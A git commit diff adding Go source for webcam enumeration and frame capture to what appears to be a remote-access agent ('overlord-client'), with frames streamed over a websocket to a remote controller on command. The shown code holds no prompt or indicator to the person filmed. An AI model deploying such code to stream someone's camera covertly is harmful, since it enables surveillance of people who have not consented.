This commit is contained in:
KingKDot
2026-03-08 22:31:11 -05:00
parent 6c05960400
commit 78a79ea3e1
27 changed files with 1352 additions and 12 deletions
@@ -0,0 +1,23 @@
//go:build !windows
package capture
type WebcamDeviceInfo struct {
Index int
Name string
MaxFPS int
}
func ListWebcams() ([]WebcamDeviceInfo, error) {
return []WebcamDeviceInfo{}, nil
}
func ClampWebcamFPS(_ int, requestedFPS int, _ bool) (int, error) {
if requestedFPS < 1 {
requestedFPS = 30
}
if requestedFPS > 120 {
requestedFPS = 120
}
return requestedFPS, nil
}
@@ -0,0 +1,161 @@
//go:build windows
package capture
import (
"fmt"
"math"
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
)
type WebcamDeviceInfo struct {
Index int
Name string
MaxFPS int
}
func ListWebcams() ([]WebcamDeviceInfo, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
temporaryInit := false
if !webcamInitDone {
if err := cam.Init(); err != nil {
return nil, fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
temporaryInit = true
}
devices, err := cam.EnumDevice()
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return nil, fmt.Errorf("webcam enumerate failed: %w", err)
}
out := make([]WebcamDeviceInfo, 0, len(devices))
for i, dev := range devices {
name := dev.Name
if name == "" {
name = fmt.Sprintf("Camera %d", i+1)
}
maxFPS := 30
if webcamActive != nil && webcamActive.deviceIndex == i && webcamActive.captureFPS > 0 {
maxFPS = int(math.Round(webcamActive.captureFPS))
} else if fps, fpsErr := webcamMaxSupportedFPSNoLock(dev.SymbolLink); fpsErr == nil && fps > 0 {
maxFPS = fps
}
out = append(out, WebcamDeviceInfo{Index: i, Name: name, MaxFPS: maxFPS})
}
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return out, nil
}
func ClampWebcamFPS(deviceIndex int, requestedFPS int, useMax bool) (int, error) {
if requestedFPS < 1 {
requestedFPS = 30
}
if requestedFPS > 120 {
requestedFPS = 120
}
maxFPS, err := webcamMaxSupportedFPS(deviceIndex)
if err != nil {
return requestedFPS, err
}
if maxFPS <= 0 {
return requestedFPS, nil
}
if useMax || requestedFPS > maxFPS {
return maxFPS, nil
}
return requestedFPS, nil
}
func webcamMaxSupportedFPS(deviceIndex int) (int, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
if webcamActive != nil && webcamActive.deviceIndex == deviceIndex && webcamActive.captureFPS > 0 {
return int(math.Round(webcamActive.captureFPS)), nil
}
temporaryInit := false
if !webcamInitDone {
if err := cam.Init(); err != nil {
return 0, fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
temporaryInit = true
}
devices, err := cam.EnumDevice()
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, fmt.Errorf("webcam enumerate failed: %w", err)
}
if len(devices) == 0 {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, fmt.Errorf("no webcam devices detected")
}
if deviceIndex < 0 || deviceIndex >= len(devices) {
deviceIndex = 0
}
maxFPS, err := webcamMaxSupportedFPSNoLock(devices[deviceIndex].SymbolLink)
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, err
}
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return maxFPS, nil
}
func webcamMaxSupportedFPSNoLock(symbolLink string) (int, error) {
device, err := cam.OpenDevice(symbolLink)
if err != nil {
return 0, fmt.Errorf("open webcam failed: %w", err)
}
defer device.CloseDevice()
formats, err := device.EnumerateCaptureFormats()
if err != nil {
return 0, fmt.Errorf("enumerate webcam formats failed: %w", err)
}
maxFPS := 0
for _, format := range formats {
if !isJPEGSubtype(format) && !isH264Subtype(format) {
continue
}
fps := int(math.Round(format.Fps))
if fps > maxFPS {
maxFPS = fps
}
}
return maxFPS, nil
}
@@ -0,0 +1,17 @@
//go:build !windows
package capture
import (
"context"
"errors"
rt "overlord-client/cmd/agent/runtime"
)
func NowWebcam(_ context.Context, _ *rt.Env) error {
return errors.New("webcam capture is only supported on Windows")
}
func CleanupWebcam() {
}
@@ -0,0 +1,238 @@
//go:build windows
package capture
import (
"context"
"fmt"
"log"
"sync"
"time"
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
"github.com/Kirizu-Official/windows-camera-go/windows/guid"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
type webcamState struct {
deviceIndex int
device *cam.Device
capture *cam.CaptureSync
format string
captureFPS float64
}
var (
webcamMu sync.Mutex
webcamInitDone bool
webcamActive *webcamState
)
func NowWebcam(ctx context.Context, env *rt.Env) error {
if ctx.Err() != nil {
return nil
}
capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
if err != nil {
return err
}
sample, err := capture.GetFrame()
if err != nil {
resetWebcamState()
return err
}
if sample == nil || sample.PpSample == nil {
return nil
}
buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample)
if err != nil {
sample.Release()
return err
}
if buffer == nil {
sample.Release()
return nil
}
frameBytes := make([]byte, int(buffer.Length))
copy(frameBytes, buffer.Buffer[:buffer.Length])
buffer.Release()
sample.Release()
frame := wire.Frame{
Type: "frame",
Header: wire.FrameHeader{
Monitor: deviceIndex,
FPS: 0,
Format: format,
Webcam: true,
},
Data: frameBytes,
}
if ctx.Err() != nil {
return nil
}
// Do not use the stream-cancel context for socket writes; canceling an in-flight
// write during webcam_stop can tear down the whole websocket on some transports.
writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
return wire.WriteMsg(writeCtx, env.Conn, frame)
}
func CleanupWebcam() {
webcamMu.Lock()
closeWebcamLocked()
webcamMu.Unlock()
}
func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
if requestedIndex < 0 {
requestedIndex = 0
}
if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex {
return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil
}
closeWebcamLocked()
if !webcamInitDone {
if err := cam.Init(); err != nil {
return nil, 0, "", fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
}
devices, err := cam.EnumDevice()
if err != nil {
return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err)
}
if len(devices) == 0 {
return nil, 0, "", fmt.Errorf("no webcam devices detected")
}
if requestedIndex >= len(devices) {
requestedIndex = 0
}
deviceInfo := devices[requestedIndex]
device, err := cam.OpenDevice(deviceInfo.SymbolLink)
if err != nil {
return nil, 0, "", fmt.Errorf("open webcam failed: %w", err)
}
formats, err := device.EnumerateCaptureFormats()
if err != nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err)
}
if len(formats) == 0 {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("no webcam capture formats available")
}
selected, selectedFormat := selectWebcamFormat(formats)
if selected == nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available")
}
capture, err := device.StartCapture(selected)
if err != nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err)
}
webcamActive = &webcamState{
deviceIndex: requestedIndex,
device: device,
capture: capture,
format: selectedFormat,
captureFPS: selected.Fps,
}
log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps)
return capture, requestedIndex, selectedFormat, nil
}
func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) {
var best *cam.CaptureFormats
bestScore := -1.0
bestFormat := ""
for _, format := range formats {
streamFormat := ""
if isJPEGSubtype(format) {
streamFormat = "jpeg"
} else if isH264Subtype(format) {
streamFormat = "h264"
}
if streamFormat == "" {
continue
}
score := formatScore(format)
if streamFormat == "jpeg" {
score += 100_000_000
}
if streamFormat == "h264" && !format.IsCompressedFormat {
// Prefer compressed H264 camera output where available.
score -= 10_000_000
}
if score > bestScore {
best = format
bestScore = score
bestFormat = streamFormat
}
}
return best, bestFormat
}
func isJPEGSubtype(format *cam.CaptureFormats) bool {
if format == nil || format.SubType == nil {
return false
}
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) ||
format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG)
}
func isH264Subtype(format *cam.CaptureFormats) bool {
if format == nil || format.SubType == nil {
return false
}
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264)
}
func formatScore(format *cam.CaptureFormats) float64 {
if format == nil {
return -1
}
score := float64(format.Width*format.Height) + format.Fps*1000
if format.IsCompressedFormat {
score += 5_000_000
}
if isJPEGSubtype(format) {
score += 10_000_000
}
if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) {
score += 1_000_000
}
return score
}
func resetWebcamState() {
webcamMu.Lock()
defer webcamMu.Unlock()
if webcamActive != nil {
webcamActive.device.CloseDevice()
webcamActive = nil
}
}
func closeWebcamLocked() {
if webcamActive != nil {
webcamActive.device.CloseDevice()
webcamActive = nil
}
}